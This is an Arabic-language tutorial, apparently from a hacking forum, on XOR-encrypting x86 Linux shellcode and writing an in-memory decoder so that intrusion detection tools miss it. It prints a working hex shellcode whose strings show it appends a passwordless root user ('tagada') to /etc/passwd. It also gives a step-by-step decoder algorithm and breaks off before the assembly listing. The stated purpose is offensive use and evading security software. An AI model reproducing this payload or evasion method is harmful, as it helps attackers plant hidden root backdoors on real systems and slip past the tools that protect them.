بسم الله الرحمن الرحيم
لمن فاته الجزء السابق ممكن يشوفوا من هون
ShellCode
والمقال اهداء ل Dark Angel
تشفير الشيل كود عن طريق مفتاح التشفير او بما يعرف بال Key Encryption بالاظافة الى كتابة ال Encoder او بما يعرف
بال Routine To Decryption
يعني نناقش الروتين الخاص بفك تشفير الشيل كود في المموري لتنفيذه
في بالك تشفر شيل كود وتحقنه في المموري وراح يتنفذ عادي
انا عارف انوا هناك البعض منك يتسائل مالغرض من تشفير شيل كود بس انا المذنب في الامر المفروض روحوا على تحليل برامج كشف الدخلاء كيف تكتشف الهجمات وامساك بقطعة الشيل كود بس
معلش راح ناتي لها ان شاء الله ونتعمق في الامور جيدا وان شاء الله
راح نشوفوا موضوع ولا خلفية بسيطة في الدورة لي راح تكون هاذ الاسبوع بحول الله
يالله
لنبدا ونتوكل على الله
ليكن لدينا هاذ القطعة من شيل كود ونبي نعمل لها تشفير
"\xeb\x3e\x5e\x30\xc0\x88\x46\x0b\x31\xc0\xb0\x05\x89\xf3\x31\xc9"
"\x66\xb9\x41\x04\x31\xd2\x66\xba\xf3\x02\xcd\x80\x89\xc3\x53\x56"
"\x59\x31\xc0\xb0\x0c\x01\xc1\x31\xc0\xb0\x04\x31\xd2\xb2\x1c\xcd"
"\x80\x5b\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xfe\xc0\x31\xdb\xcd\x80"
"\xe8\xbd\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
"\x01\x74\x61\x67\x61\x64\x61\x3a\x3a\x30\x3a\x30\x3a\x74\x61\x67"
"\x61\x64\x61\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
طبعا الشيل كود لي معنا مكتوب على نظام السداسي عشر
وحنا نعلم انوا جداول ASCII كل خانة فيها يعبر عليها بقيمة من نظام السداسي عشر
يعني نمسك كل قيمة من الشيل كود ونعمل لها XOR بواسطة مفتاح التشفير او الذي سميناه Key
الحين النتيجة لي نتحصل عليها هي قطعة شيل كود ثانية وخالية من بيانات ال NULLلذا نستطيع القول انوا تحصلنا على قطعة مشفرة
لان لما نتهينا من تشفير الشيل كود لازم نعمل انكودر او فك تشفير ذاك الشيل كود بنفس مفتاح التشفير اعطيك مثال
xor A,Key ; Store To B
xor B,Key ; Restor To A
المثال واضح ومو حتاج شرح يعني هناك قاعدة لازم تحطها براسك جيدا
نص عادي XOR مفتاح - يعطينا نص مشفر
نص مشفر XOR مفتاح - يعطينا نص عادي
نص عادي XOR نص مشفر - يعطينا مفتاح
لحين ناتي الى تشفير شيل الكود
تحقق من ملف shellxor.asm في المرفقات
طبعا فكرة البرنامج بسيطة
يقوم بتحديد المؤشر القطعة وينسخها الى سجل EDI بعدها يعمل حلقة تكرار في سجل ECX وينسح قيمة لتي توجد بسجل ويعمل لها XOR مع المفتاح المختار ويحتفظ بالنتيجة على نفس عنوان
القيمة وبعدها يعمل زيادة للسجل EDI بقيمة واحد عشان يروح للقيمة الثانية وتتم العملية ان يتم عمل كل حلاقات التكرار التى توجد على سجل ECX علما انها تحمل حجم الشيل كود
ويتم انقاص تلك القيمة ب واحد حتى تنتهل عملية التكرار وبتالي يكون قد انتهى من تشفير كل القيم
المهم انت تهمك قيمة المفتاح والتى توجد على سطر 221 وطبعا مثل ماهو ظاهر في سطر 224 ان تخلق ملف نصي shellcode.txt
على نفس المجلد وتضع فيه الشيل كود المراد تشفيره
طيب كل شيء تمام بس طلع معنا تنبيه يقلك انو NULL Byte ظهر مع شيل كود ويقلك غير مفتاح التشفير
طيب نغير مفتاح للقيمة 50 مثلا ونشوف النتيجة طلع كل شيء تمام وتم تشفير الشيل كود بنجاح ونتهينا من امر ال Null Byte
الحين انتهينا تقريبا من الموضوع بقى غير فك التشفير شيل كود طبعا انت مو راح تستخدم ذاك الشيل في الهجوم
ياحبيبي اصلا الشيل كود لو تنفذوا مو راح يصير شيء لانوا تلك التعليمات مشفرة وغير قادر المعالج على فهمها او تنفيذها وا حتى فك تشفيرها
لذا لازم نعمل شيل كود ثاني عبارة عن ديكودر يعني مسؤول على فك تشفير شيل كود وهو موقيم بالمموري وتنفيذه مممم الموضوع مشوق
طيب لحين كيف نكتب ذا الشيل كود
اولا نبدا نراجع شو عملنا باول احنا مسكنا قطعة الشيل كود وبدءنا بنسخ بيانات الشيل قيمة ورا قيمة وتخزينها في سجل عشان نعمل عليها تشفير عن طريق التعليمة XOR بواسطة مفتاح لي
خترناه وفي كل مرة يتم تشفير تلك القيمة نقوم بكتابتها فوق القيمة الاصلية اظن بانوا لحد لان كل شيء واضح اذن عشان نعمل فك تشفير اظنها نفس الطريقة السابقة بس تكون عملية عكسية لاغير
الم اقل لك ان تحفظ ذي العبارة
نص عادي XOR مفتاح - يعطينا نص مشفر
نص مشفر XOR مفتاح - يعطينا نص عادي
نص
عادي XOR نص مشفر - يعطينا مفتاح
تشفير
احنا لما شفرنا الشيل كود استخدمنا القاعدة الاولى وليتم فك تشفيره نستعين بالقاعدة الثانية مما يفرض علينا ان يكون المفتاح هو نفسه عرفت الحين كيف يتم اكتشاف الشيل كود
المشفر من برامج الحماية
خليك مع الموضوع وبعدها يكون حديث اخر لانوا فعلا هناك برامج حماية تقوم بتخمين مفتاح التشفير وتقوم بعملية فك التشفير وفحص الشيل كود لوووووووووول
لاباس سنعود للحكاية ونتكلم عليها بشكل اعمق كل شيء قي وقتوا نشاء الله
طيب لنبسط الامور وليس هناك شيء افظل من كتابة الخوارزمية حتى تتوضح الامور المعقدة
- بداية الخوارزمية
- تحديد شيل كود في المموري
1- تحظير لعمل حلقت تكرار
- نعمل سحب لمؤشر الشيل كود من المكدس لسجل EDI
- نقوم بتصفير السجل ECX لعمل حلقت تكرار
- تحديد حجم الشيل كود ونسخه في سجل ECX ليتم تحديد حلقات التكرار
2 - تحظير لفك تشفير قطعة الشيل كود
- نسخ محتوى سجل EDI الى سجل EAX
- تطبيق قاعدة الثانية على سجل EAX بواسطة مفتاح وكتابة عليه بالقيمة المتحصل عليه
- نسخ قيمة التى يحتويها السجل EAX الى سجل EDI
- زيادة سجل EDI بقيمة واحدة
- انقاص السجل ECX بقيمة واحدة وتحقق من عدد الحلقات
- نهاية الخوارزمية
اظنوا انو الخوارزمية بسيط وكل شيء الحين اصبح واضح
والان اتبع الخوارزمية فقط وترجمها للغة الاسمبلي لتتحصل على شكل تالي